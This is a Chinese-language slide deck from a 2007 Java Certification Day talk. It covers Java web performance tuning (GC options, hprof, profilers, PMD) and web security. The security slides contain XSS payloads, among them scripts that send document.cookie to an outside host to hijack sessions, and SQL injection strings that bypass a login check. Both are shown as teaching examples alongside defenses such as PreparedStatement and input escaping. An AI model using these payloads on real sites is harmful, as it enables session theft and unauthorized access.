More Related Content

Recently uploaded(20)

Java Web 程式之效能技巧與安全防護

  1. 2007 Java Certification Day Java Web 程式之 效能技巧與安全防護 林信良 教育訓練講師暨技術顧問 昇陽電腦 1
  2. Agenda 1 – Web 效能概觀 2 – 效能量測工具 3 – 程式碼分析 4 - Web 安全概觀 5 – 跨網站指令稿攻擊(Cross-site scripting) 6 – 隱碼攻擊(SQL Injection) 2
  3. Web 效能概觀 • 所有程式都受到三種系統限制 > CPU速度 > 記憶體 > 輸出/輸入 Footnote position, 12 pts. Sun Confidential: Internal Only 3
  4. CPU-bound類型的程式 • 著重在提昇程式效率的演算法 Sun Confidential: Internal Only 4
  5. 記憶體 • Java 有垃圾收集 > 可以沒有顧忌的配置物件? > 系統中有太多短命的物件? • 大型物件浪費記憶體 > 建立物件、垃圾收集 Sun Confidential: Internal Only 5
  6. 輸入/輸出 • 輸出輸入絕對會拖慢程式 > 磁碟存取(檔案讀寫、日誌…) > 資料庫存取(增、刪、查、找…) > 網路存取(DNS反查…) Sun Confidential: Internal Only 6
  7. 從1到100 • 撰寫一個程式,可在文字模式上顯示 HOW DO YOU DO Footnote position, 12 pts. Sun Confidential: Internal Only 7
  8. How do you do for(int i = 1; i < 100; i++) { System.out.print(i + "+"); } System.out.println(100); • 在迴圈中經常犯的兩種錯誤 > 非必要的輸出/輸入 > 非必要的建構物件 Sun Confidential: Internal Only 8
  9. How do you do • 改進了輸出 String output = ""; for(int i = 1; i < 100; i++) { output = output + i + "+"; } 一次 IO output += 100; System.out.println(output); Sun Confidential: Internal Only 9
  10. How do you do • 物件的重用(一) StringBuffer output = new StringBuffer(); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); 重用物件 Sun Confidential: Internal Only 10
  11. How do you do • 物件的重用(二) StringBuffer output = new StringBuffer(300); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); 預設16字元 Sun Confidential: Internal Only 11
  12. How do you do • 執行緒議題 StringBuilder output = new StringBuilder(300); for(int i = 1; i < 100; i++) { output.append(i); output.append("+"); } output.append(100); System.out.println(output); JDK 5.0以上 Sun Confidential: Internal Only 12
  13. 效能量測工具 • 觀察GC -verbosegc • 程式執行效率 -Xrunhprof • JDK 5.0之後的工具 jconsole • Profiler > NetBeans Profiler Sun Confidential: Internal Only 13
  14. 觀察GC • 啟動JVM時的選項,可觀察 > 物件所佔據的時間與空間 > 回收時所釋放的空間 C:>java -verbosegc -jar "C:Program FilesJavajdk1.6.0_01demojfc NotepadNotePad.jar" Sun Confidential: Internal Only 14
  15. 觀察GC Sun Confidential: Internal Only 15
  16. 觀察GC • C:>java -verbosegc -XX:+PrintGCDetails-jar "C:Program FilesJavajdk1.6.0_01demojfcNotepadNotePad.jar" Sun Confidential: Internal Only 16
  17. 觀察GC • Heap區是分Generation管理的 • 針對不同的Generation採不同的GC演算法 Sun Confidential: Internal Only 17
  18. 觀察GC • 預設的JVM假設物件是infant mortality > 在建構之後,很快就會成為垃圾 > 例如Iterator物件 • 物件一開始是分配在Eden > 多數的物件成為垃圾 > 填滿時引發minor collection > 在當中存活的物件被複製到Tenured generation • Tenured generation會使用major collection > 通常比較慢,因為包括所有的物件 Sun Confidential: Internal Only 18
  19. 觀察GC • GC運行時,應用程式不作任何事 > 呼叫System.gc() > Heap區太小,預設值都很小 > 頻繁的建構、釋放物件 • 最基本的是調整Heap分配 > Xms > Xmx > Xmn Sun Confidential: Internal Only 19
  20. 觀察GC • 預設值通常不適用大型主機 > 初始heap區通常很小,要經過多次major collection > 最大heap區通常也不適用 • 簡單的設定 > Server端JVM最好將-Xms和-Xmx設為相同值 > 最好-Xmn值约等於-Xmx的1/3 > 如果每次GC後,heap的剩餘空間是總空間的 50%,表示Heap處於健康狀態 > Server端Java程式每次GC後最好能有65%剩餘 空間 Sun Confidential: Internal Only 20
  21. 程式執行效率 • 定期對call stack進行取樣 > 得知目前正在stack頂端的方法 > 可計算哪個部份花費最多執行時間 • java -Xrunhprof:help > java -Xrunhprof:cpu=samples > java -Xrunhprof:cpu=times Sun Confidential: Internal Only 21
  22. 程式執行效率 • java -Xrunhprof:cpu=samples,depth=6 TestHprof • java.hprof.txt CPU SAMPLES BEGIN (total = 109) Thu Mar 22 13:54:45 2007 rank self accum count trace method 1 21.10% 21.10% 23 300041 java.lang.AbstractStringBuilder.expandCapacity 2 17.43% 38.53% 19 300052 java.lang.AbstractStringBuilder.expandCapacity 3 12.84% 51.38% 14 300047 java.lang.AbstractStringBuilder.expandCapacity 4 6.42% 57.80% 7 300046 java.lang.AbstractStringBuilder.append 5 5.50% 63.30% 6 300050 java.lang.String.<init> 6 5.50% 68.81% 6 300053 java.lang.String.<init> 7 3.67% 72.48% 4 300048 java.lang.AbstractStringBuilder.append 8 3.67% 76.15% 4 300045 java.lang.String.<init> Sun Confidential: Internal Only 22
  23. TRACE 300041: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.addToCat(TestHprof.java:15) TestHprof.makeString(TestHprof.java:10) TestHprof.main(TestHprof.java:54) TRACE 300052: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.makeStringWithLocal(TestHprof.java:28) TestHprof.main(TestHprof.java:56) TRACE 300047: (thread=200001) java.lang.AbstractStringBuilder.expandCapacity(AbstractStringBuilder.java:99) java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:393) java.lang.StringBuilder.append(StringBuilder.java:120) TestHprof.makeStringInline(TestHprof.java:21) TestHprof.main(TestHprof.java:55) Sun Confidential: Internal Only 23
  24. jconsole • JDK 5.0之後 Sun Confidential: Internal Only 24
  25. jconsole Sun Confidential: Internal Only 25
  26. jconsole Sun Confidential: Internal Only 26
  27. Profiler • NetBeans Profiler > http://www.netbeans.org/products/profiler/ > http://www.netbeans.org/kb/55/profiler-tutorial.html Sun Confidential: Internal Only 27
  28. 效能分析 Sun Confidential: Internal Only 28
  29. 選擇分析方法 Sun Confidential: Internal Only 29
  30. 過濾器(Filter) Sun Confidential: Internal Only 30
  31. 過濾器(Filter) Sun Confidential: Internal Only 31
  32. 分析呼叫堆疊與取樣 Sun Confidential: Internal Only 32
  33. 程式碼分析 • LocalVariableCouldBeFinal > 區域變數只被設值一次時應宣告為 final • MethodArgumentCouldBeFinal > 方法的參數如果不會被設值則應宣告為 final • AvoidInstantiatingObjectsInLoops > 偵測是否在迴圈中建立新的物件實體 • UseArrayListInsteadOfVector > 建議以 ArrayList 取代 Vector Sun Confidential: Internal Only 33
  34. 程式碼分析 • SimplifyStartsWith > 當字串字面值的長度為 1 時,建議改以 String.charAt(0) 代 替 String.startsWith 以增進效能 • UseStringBufferForStringAppends > 建議字串結合以 StringBuffer 取代 • UseArraysAsList > 建議用Arrays.asList 由物件陣列來轉換成 List 而不是以迴 圈的方式建立 List • AvoidArrayLoops > 以 System.arrayCopy 取代迴圈的方式複製陣列 • UnnecessaryWrapperObjectCreation > 建立移除不必要的外覆物件,應直接傳遞原始物件較佳 Sun Confidential: Internal Only 34
  35. 程式碼分析 • http://pmd.sourceforge.net/ • PMD scans Java source code and looks for potential problems like: > Possible bugs - empty try/catch/finally/switch statements > Dead code - unused local variables, parameters and private methods > Suboptimal code - wasteful String/StringBuffer usage > Overcomplicated expressions - unnecessary if statements, for loops that could be while loops > Duplicate code - copied/pasted code means copied/pasted bugs Sun Confidential: Internal Only 35
  36. 程式碼分析 Sun Confidential: Internal Only 36
  37. 程式碼分析 Sun Confidential: Internal Only 37
  38. Web 安全概觀 • 研究:91%的網站都有漏洞 > Cross Site Scripting > SQL Injection > … > Improper Error Handling Sun Confidential: Internal Only 38
  39. 跨網站指令稿攻擊 • Cross-site scripting(XSS) • 會話劫奪(Session hijacking) • 釣魚(Phishing) • 特徵 > 使用者輸入的資料沒有過濾 > 網站直接回送使用者輸出的資料 Sun Confidential: Internal Only 39
  40. XSS:Session hijacking • 例如搜尋功能回送使用者輸入的查詢字串 Could not find any documents including ‘foo’ Sun Confidential: Internal Only 40
  41. XSS:Session hijacking Search <b>foo</b> Could not find any documents including ‘<b>foo</b>’ Could not find any documents including ‘foo’ Sun Confidential: Internal Only 41
  42. XSS:Session hijacking <script language=‘javascript’>alert(document.cookie)</script> Could not find any documents including ‘<script language=‘javascript’>alert(document.cookie)</script>’ Sun Confidential: Internal Only 42
  43. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo www.xssorz.com Sun Confidential: Internal Only 43
  44. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo <script language='javascript'>document.location="http://ww w.hahaorz.com/foo" +document.cookie</script> www.xssorz.com Sun Confidential: Internal Only 44
  45. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query=foo %3Cscript+language%3D%27javascript%27%3Edocu ment.cookies%3C%2Fscript%3E www.xssorz.com Sun Confidential: Internal Only 45
  46. XSS:Session hijacking 入侵 www.hahaorz.com http://www.xssorz.com/search?query%3Cs cript+language%3D%27javascript%27%3E document.cookies%3C%2Fscript%3E www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 46
  47. XSS:Session hijacking 入侵 www.hahaorz.com <a href =http://www.xssorz.com/search?query%3C script+language%3D%27javascript%27%3Edocumen t.cookies%3C%2Fscript%3E >可以找到很多美女圖^o^</a> www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 47
  48. XSS:Session hijacking 入侵 www.hahaorz.com 可以找到很多猛男圖^o^ www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 48
  49. XSS:Session hijacking 入侵 www.hahaorz.com 可以找到很多猛男圖^o^ JSESSIONID=0146B416F… www.xssorz.com www.e04orz.com Sun Confidential: Internal Only 49
  50. XSS:Phishing <script language='javascript'>document.location="http://www.svn.com/foo" +document.cookie</script> 留言版、討論區 http://java.sun.com/forum Sun Confidential: Internal Only 50
  51. XSS:Phishing <script language='javascript'>document.location="http://www.svn.com/foo" +document.cookie</script> 留言版、討論區 http://java.svn.com/forum http://java.svn.com/forum Sun Confidential: Internal Only 51
  52. XSS • 過濾請求資料 > <  &lt; > >  &gt; > <script> Sun Confidential: Internal Only 52
  53. 隱碼攻擊 • SQL Injection 名稱: 密碼: Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;” Sun Confidential: Internal Only 53
  54. SQL Injection 名稱: caterpillar 密碼: 123456 Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND PASSWORD=‘123456’; Sun Confidential: Internal Only 54
  55. SQL Injection 名稱: caterpillar 密碼: ‘ OR ‘1’=‘1 Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’ AND PASSWORD=‘‘ OR ‘1’=‘1’; 總是為true Sun Confidential: Internal Only 55
  56. SQL Injection 名稱: caterpillar’;# 密碼: Statement statement = connection.createStatement(); String queryString = “SELECT * FROM USER_TABLE WHERE USERNAME=‘” + username + “’ AND PASSWORD=‘” + password + “’;”; ResultSet resultSet = statement.executeQuery(queryString); “SELECT * FROM USER_TABLE WHERE USERNAME=‘caterpillar’;# AND PASSWORD=‘‘ OR ‘’; 註解符號 Sun Confidential: Internal Only 56
  57. SQL Injection • 使用PreparedStatement PreparedStatement stmt = conn.prepareStatement( “SELECT * FROM USER_TABLE WHERE USERNAME=? AND PASSWORD=?"); • 過濾請求資料 > 單引號 &#39; > 雙引號  &quot; Sun Confidential: Internal Only 57
  58. 自動檢測安全工具 • 在開發程式的過程中帶入安全觀念與工具 > 在程式撰寫階段應用安全掃描工具 > 在測試階段實行滲透(permeation)測試 > 對已上線的產品進行補強 Sun Confidential: Internal Only 58
  59. 自動檢測安全工具 • Watchfire Web Appscan • Acunetrix • Fortify Sun Confidential: Internal Only 59
  60. Thanks 林信良 教育訓練講師暨技術顧問 昇陽電腦 60